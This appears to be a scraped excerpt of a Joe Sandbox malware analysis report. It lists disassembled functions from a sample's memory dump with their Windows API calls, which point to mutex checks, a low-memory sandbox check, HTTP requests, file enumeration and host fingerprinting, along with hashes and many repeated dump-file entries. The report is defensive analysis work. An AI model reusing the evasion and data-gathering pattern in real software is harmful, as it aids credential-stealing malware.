Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: d63cfd5ba89dca3f7aefa704559241efa80adce8adc2d024fef20b908de1491e
Instruction ID: 8aaa0fae65f9c972c8fcf2160455f84665c2c702d2cb91d37e62e9c006e89599
Opcode Fuzzy Hash: d63cfd5ba89dca3f7aefa704559241efa80adce8adc2d024fef20b908de1491e
Instruction Fuzzy Hash: 55313C71901218ABCB24EF95CC95FEEB778EF45704F10419EA10AA61A0DF386A45CFB5

Function 004B6AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00FD8F88,?,004C110C,?,00000000,?,004C1110,?,00000000,004C0AEF), ref: 004B6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004B6AE8
CloseHandle.KERNEL32(00000000), ref: 004B6AF9
Sleep.KERNEL32(00001770), ref: 004B6B04
CloseHandle.KERNEL32(?,00000000,?,00FD8F88,?,004C110C,?,00000000,?,004C1110,?,00000000,004C0AEF), ref: 004B6B1A
ExitProcess.KERNEL32 ref: 004B6B22

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: bb0337f3aeb08b4634a1d3648f0c488937fda9b264fc04f9637d1278809c62da
Instruction ID: 6519669573019a725d549f0d2d8d0110e7e172be2ae03b125eaf080d184e96cc
Opcode Fuzzy Hash: bb0337f3aeb08b4634a1d3648f0c488937fda9b264fc04f9637d1278809c62da
Instruction Fuzzy Hash: ECF05E74944319ABEB00EBE0DC46BFE7B34EB08705F21451AF502A51C1CBBC6541D67B

Function 004A47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004A4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 004A4849

Strings

<, xrefs: 004A47C9

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 88291b3fdea141ec13846d128354a4e36c222e29336dd6ee257d401eab92ad8d
Instruction ID: 500ddbcd2afbbc37635d2872f7ec8603fd88e453aaed597dbd324a7a24890cbd
Opcode Fuzzy Hash: 88291b3fdea141ec13846d128354a4e36c222e29336dd6ee257d401eab92ad8d
Instruction Fuzzy Hash: 06216FB1D00208ABDF10DFA5E845ADE7B75FB44320F10862AF915A72C0EB706A05CF91

Function 004B51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Part of subcall function 004A6280: InternetOpenA.WININET(004C0DFE,00000001,00000000,00000000,00000000), ref: 004A62E1
Part of subcall function 004A6280: StrCmpCA.SHLWAPI(?,00FDF620), ref: 004A6303
Part of subcall function 004A6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004A6335
Part of subcall function 004A6280: HttpOpenRequestA.WININET(00000000,GET,?,00FDEE18,00000000,00000000,00400100,00000000), ref: 004A6385
Part of subcall function 004A6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004A63BF
Part of subcall function 004A6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004A63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004B5228

Strings

ERROR, xrefs: 004B5273
ERROR, xrefs: 004B521A

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 6c576d3e6865609be29c84367a5ef9769cef2889c0871494b2427149088fe193
Instruction ID: 07017f93e3303cb35e6b8f8ac7ab67cbf69545bee6cddc5d27e1e59b26377a48
Opcode Fuzzy Hash: 6c576d3e6865609be29c84367a5ef9769cef2889c0871494b2427149088fe193
Instruction Fuzzy Hash: 49115134800008B7CB14FF76DD52AED7338AF50304F40415EF90A5A592EF38AB16CABA

Function 004A1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004A123E
ExitProcess.KERNEL32 ref: 004A1294

Strings

@, xrefs: 004A1233

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 08bdff3b75615f9e573709950faf8490fc83af16df3b245456a54af48cd5a7d6
Instruction ID: 6cf8f1f4b7a61d49a50a683b0106f6fc835b4626835326f056f3672b2c15ed40
Opcode Fuzzy Hash: 08bdff3b75615f9e573709950faf8490fc83af16df3b245456a54af48cd5a7d6
Instruction Fuzzy Hash: 0A016DB1D40308BAEF10DBE0DC89B9EBB78AB15705F24809AE705BA2D0D778A541879D

Function 004B4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

lstrcat.KERNEL32(?,00000000), ref: 004B4F7A
lstrcat.KERNEL32(?,004C1070), ref: 004B4F97
lstrcat.KERNEL32(?,00FD8E48), ref: 004B4FAB
lstrcat.KERNEL32(?,004C1074), ref: 004B4FBD

Part of subcall function 004B4910: wsprintfA.USER32 ref: 004B492C
Part of subcall function 004B4910: FindFirstFileA.KERNEL32(?,?), ref: 004B4943

Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C0FDC), ref: 004B4971
Part of subcall function 004B4910: StrCmpCA.SHLWAPI(?,004C0FE0), ref: 004B4987
Part of subcall function 004B4910: FindNextFileA.KERNEL32(000000FF,?), ref: 004B4B7D
Part of subcall function 004B4910: FindClose.KERNEL32(000000FF), ref: 004B4B92

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ef6ce9d084bdc7007ba8f3115d654af8b29573d87cfd483e18c01eb894239923
Instruction ID: a8a7b980f97e4ad99587a5029c8d89513be94e7da8447f9487505f5d5c2e29bf
Opcode Fuzzy Hash: ef6ce9d084bdc7007ba8f3115d654af8b29573d87cfd483e18c01eb894239923
Instruction Fuzzy Hash: A021ADBA900308A7C754F7F0DC86FEE337DA754300F00455DB65996191EE79AAC8CBA6

Function 004B0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00FD8DC8), ref: 004B079A
StrCmpCA.SHLWAPI(00000000,00FD8E08), ref: 004B0866
StrCmpCA.SHLWAPI(00000000,00FD8EA8), ref: 004B099D

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 68e19b99c72e72e12c72e4080c6edac5bb13c045953e429d57da52e517a681e1
Instruction ID: 4baeb0ddb2ce10d9e51983263f28e447465c73cbe3f4b4001978d6ecf08c3521
Opcode Fuzzy Hash: 68e19b99c72e72e12c72e4080c6edac5bb13c045953e429d57da52e517a681e1
Instruction Fuzzy Hash: 1A91AA75A00208AFCB28EF65D991BEE77B5BF94304F40851DE8099F241DF34EA06CB96

Function 004B0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00FD8DC8), ref: 004B079A
StrCmpCA.SHLWAPI(00000000,00FD8E08), ref: 004B0866
StrCmpCA.SHLWAPI(00000000,00FD8EA8), ref: 004B099D

Part of subcall function 004BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 004BA7E6

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 00c341c7a5a36b01b2a78f17ee63689f36f13a0d456eed2fd5c0f805f2f49c21
Instruction ID: b44314e8cad232b1450f59a21192bce2f26bdf5ec709cc370bcee1718e23aa8c
Opcode Fuzzy Hash: 00c341c7a5a36b01b2a78f17ee63689f36f13a0d456eed2fd5c0f805f2f49c21
Instruction Fuzzy Hash: 8981A975B10208AFCB18EF65C991EEEB7B6FF94304F10851DE4099F251DB34AA06CB96

Function 004B78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7910
RtlAllocateHeap.NTDLL(00000000), ref: 004B7917
GetComputerNameA.KERNEL32(?,00000104), ref: 004B792F

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
